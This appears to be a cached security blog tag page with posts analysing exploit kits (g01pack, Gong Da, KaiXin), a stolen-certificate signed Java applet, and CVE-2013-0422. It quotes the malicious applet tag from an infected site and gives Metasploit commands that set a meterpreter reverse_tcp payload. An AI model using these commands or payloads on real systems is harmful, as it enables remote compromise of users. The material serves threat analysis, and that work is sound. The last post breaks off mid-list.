Posts tagged EK

When a Signed Java JAR file is not Proof of Trust

66
1 year ago
in Various

Today, Malware Domain List, reported strange behaviours regarding a Java app executed with the latest version of Java 6.

Java 0day ? bit.ly/12nWSC1 Machine is running latest 1.6 JRE. Source: pastebin.com/BiND6qZt

— Malware Domain List (@_MDL_) 4 mars 2013

As you can observe, VirusTotal didn’t find something wrong (0/46) regarding the Java app, but after few hours, some analysis and some discussions on Twitter, it appear that this file is a malicious file (3/46) dropping malwares and that Oracle still need to enhance the security level of Java.

This “innocent” Java app was found on “hxxp://dict.tu-chemnitz.de/“, a german online dictionary infected by g01pack Exploit Kit.

Call to the Java app was done through:

</pre></pre>
<applet name="Java™ <span class=">ClearWeb Security Update" code="app.applet.class" archive="oracle.com.java.security.jre8.update.win32.release.for.datrynto.dynalias.com/css/pkcw.mp3"></applet>
<pre>
<pre>
<param name="pert" value="36820"><param name="conchs" value="y"><param name="rss" value="rbE1I7EWurI7bh#b=uNWdJN==Jm7cmu6:6qI4Rwtx24cAxiWI=4=3%=x34cQeQQemZx">
</applet>

As you can see, the Java app try to make the end-user believe that this is a “ClearWeb Security Update” with a URL also trying to imitate a pseudo like Oracle Java JRE8 (lol) update.

spacer

Also you can see that the publisher is “CLEARESULT CONSULTING INC.“, a real firm located in Texas USA. It also seem that this applet is a “trusted” signed applet. If the applet were signed by an “non-trusted” or “self-signed” certificate the dialog box would have been like the following one.

spacer

If you click on the “More Information” link of the dialog box, you will have another messages confirming you that you can trust this Java applet (The digital signature was generated with a trusted certificate).

spacer

And by clicking on “Certificate Details“, you will have associated information’s.

spacer

You maybe remember that Oracle has introduce “Security Levels” since Java SE 7 Update 10 in December 2012. Five levels of security are supported, plus a custom security level settings. This feature can be set in the Java Control Panel or (on Microsoft Windows platform only) using a command-line install argument.

The five levels are:

  • Custom: You can customize all the security settings based on you’re needs.
  • Low: Most unsigned Java apps in the browser will run without prompting unless they request access to a specific old version or to protected resources on the system.
  • Medium: Unsigned Java apps in the browser will run without prompting only if the Java version is considered secure. You will be prompted if an unsigned app requests to run on an old version of Java.
  • High: Default Security Level. You will be prompted before any unsigned Java app runs in the browser.
  • Very High: You will be prompted before any Java app runs in the browser. If your version of Java is insecure, unsigned apps will not run.

As you can see only unsigned Java app are considered as non-secure, and signed Java app are blocked only with the “Very High” security level. So with the default security level, aka “High” a signed Java app is executed additional advises.

If you read Oracle documentation “Understanding Signing and Verification“, you will find nice definitions, like:

You digitally sign a file for the same reason you might sign a paper document with pen and ink — to let readers know that you wrote the document, or at least that the document has your approval. When you sign a letter, for example, everyone who recognizes your signature can confirm that you wrote the letter. Similarly when you digitally sign a file, anyone who “recognizes” your digital signature knows that the file came from you. The process of “recognizing” electronic signatures is called verification.

or

 The ability to sign and verify files is an important part of the Java platform’s security architecture. Security is controlled by the security policy that’s in force at runtime. You can configure the policy to grant security privileges to applets and to applications. For example, you could grant permission to an applet to perform normally forbidden operations such as reading and writing local files or running local executable programs. If you have downloaded some code that’s signed by a trusted entity, you can use that fact as a criterion in deciding which security permissions to assign to the code.

So you have understood, if a Java app is signed with your name, it is the proof that you have sign this Java app, and this Java app will run on your system with special privileges… But, but, if somebody has steal your private key that allow you to sign you’re Java app, can the users still trust the Java app ?

The Java app discovered by Malware Domain List was signed with a stollen private key… Worst, the certificate associated to the applet was revoked by GoDaddy the Dec 7 17:46:22 2012 GMT (thanks to @Jindroush). But signing and verifying files is so an important part of the Java platform’s security architecture that Jarsigner validates the file despite the certificate is revoked since a while…

The cause to this nightmare are very simple and I agree with Jindroush #WTF #Java !

My Java has “Check certificates for revocation” turned OFF.Also has “Enable granting elevated access to selfsigned apps” to ON.#wtf #Java

— Jindrich Kubec (@Jindroush) 4 mars 2013

By default, certificate revocation list check is set to “OFF” and signed Java app are authorized to have privileged accesses…

So conclusion, signed Java app are not a proof of trust if you don’t check revocation lists ….

Share this:

  • Email
  • Print
  • EK Exploit Kit g01pack Java Oracle

    Gong Da / Gondad Exploit Pack Add Java CVE-2013-0422 support

    7
    1 year ago
    in Reverse Engineering

    If you are working in computer security and still don’t have hear about the latest Oracle Java 0day, aka CVE-2013-0422, then you should change you job ! This last Oracle Java 0day was discovered massively exploited in exploit kits by @kafeine the 10th January. Other exploit kits have quickly add support of this new vulnerability, like Gong Da exploit kit.

    spacer

    This new version was discovered on “hxxp://syspio.com/data/m.html” a web site how is actually still online.

    spacer

    syspio.com” is hosted on 222.239.252.166, in KR and this domain name seem to be associated with a legit compromised web site.

    The “m.html” file containing JavaScript code obfuscated by “JSXX VIP JS Obfuscator“, but traditional traces if this obfuscator are no more available.

    After de-obfuscation of the “m.html” file you can see that Gong Da Pack has involve to the following diagram.

    spacer

    Here under some information s regarding the different files:

    • EnKi2.jpg (aka CVE-2011-3544) : 8/46 on VirusTotal.com
    • cLxmGk3.jpg (aka CVE-2012-0507) : 11/46 on VirusTotal.com
    • OLluRM4.jpg (aka CVE-2012-1723) : 20/46 on VirusTotal.com
    • GPUrKz2.jpg (aka CVE-2012-4681) : 29/45 on VirusTotal.com
    • PBLO5.jpg (aka CVE-2012-5076) : 12/46 on VirusTotal.com
    • Nuwm7.jpg (aka CVE-2013-0422): 6/46 on VirusTotal.com

    Share this:

  • Email
  • Print
  • Adobe CVE-2011-3544 CVE-2012-0507 CVE-2012-1535 CVE-2012-1723 CVE-2012-1889 CVE-2012-4681 CVE-2012-5076 CVE-2013-0422 EK Exploit Kit Flash Gond Da Gondad Gong Da Java Microsoft Oracle

    Java Applet JMX 0day Remote Code Execution Metasploit Demo

    9
    1 year ago
    in Exploits, Metasploit

    Timeline :

    Vulnerability discovered exploited in the wild by kafeine the 2013-01-10
    Metasploit PoC provided the 2013-01-10

    PoC provided by :

    Unknown
    egypt
    sinn3r
    juan vazquez

    Reference(s) :

    CVE-2013-0422
    OSVDB-89059
    0 day 1.7u10 spotted in the Wild – Disable Java Plugin NOW !

    Affected version(s) :

    Oracle Java SE 7 Update 10 and bellow

    Tested on Windows 8 Pro with :

    Internet Explorer 10
    Oracle Java SE 7 Update 10

    Description :

    This module abuses the JMX classes from a Java Applet to run arbitrary Java code outside of the sandbox as exploited in the wild in January of 2013. The vulnerability affects Java version 7u10 and earlier.

    Commands :

    use exploit/windows/browser/ie_cbutton_uaf
    use exploit/multi/browser/java_jre17_jmxbean
    set SRVHOST 192.168.178.26
    set TARGET 1
    set PAYLOAD windows/meterpreter/reverse_tcp
    set LHOST 192.168.178.26
    exploit
    
    sysinfo
    getuid

    Share this:

  • Email
  • Print
  • CVE-2013-0422 EK Exploit Kit Java 0day Oracle Oracle Java 0day

    KaiXin Exploit Kit Evolutions

    5
    1 year ago
    in Reverse Engineering

    Beginning August, Kahu Security discovered a new Chinese named KaiXin EK (Exploit Kit). This exploit kit was using, like his brother in blood Gong Da (Gondad) EK, javascript obfuscation “Yszz vip“.

    The August version of KaiXin was supporting:

    • CVE-2011-3544 : An Oracle Java vulnerability fixed during October 2011 CPU.
    • CVE-2012-0507 : An Oracle Java vulnerability fixed during February 2012 CPU.
    • CVE-2012-1723 : An Oracle Java vulnerability fixed during June 2012 CPU.
    • CVE-2012-0754 : An Adobe Reader vulnerability fixed in APSB12-03.
    • CVE-2012-1889 : An Microsoft XML Core Service vulnerability fixed in MS12-043.

    November version of KaiXin has involve by removing support of Oracle Java CVE-2012-0507 and CVE-2012-0754 vulnerabilities, and adding support of Oracle Java CVE-2012-1723 (fixed in Jun 2012 CPU), of Oracle Java CVE-2012-4681 (fixed in End August Oracle Security Alert) and of Oracle Java CVE-2012-5076 (fixed in October 2012 CPU).

    spacer

    spacer

    spacer

    Here under a VirusTotal analysis of all involved files:

    • gS19tbEF.jpg (eef74c38121c225ab4d7f1d2bbb0369a) – 9/46 : CVE-2011-3544
    • lXjOhqg.jpg (16e2c0a9f6636f9698e4dbe2f56551a9) – 22/46 : CVE-2012-1723
    • obDb9.jpg (ac8085d9ec48770511c82065d6947eb7) – 27/41 : CVE-2012-4681
    • MMWYD.jpg (684acb532179d99733273b79c4382b39) – 5/46 : CVE-2012-5076
    • WysBRr.html (f018e5adf65c0841e58ba9c69703e6d4) – 6/45 : CVE-2012-1889
    • JSZlR.html (7282d761c60541ad3edf7e480807bcb6) – 3/46 : CVE-2012-1889
    • rar.css (c11b39439a1eda6923feefcad3993d22) – 18/43 : HEUR:Trojan.Win32.Generic
    • top.html (
    gipoco.com is neither affiliated with the authors of this page nor responsible for its contents. This is a safe-cache copy of the original web site.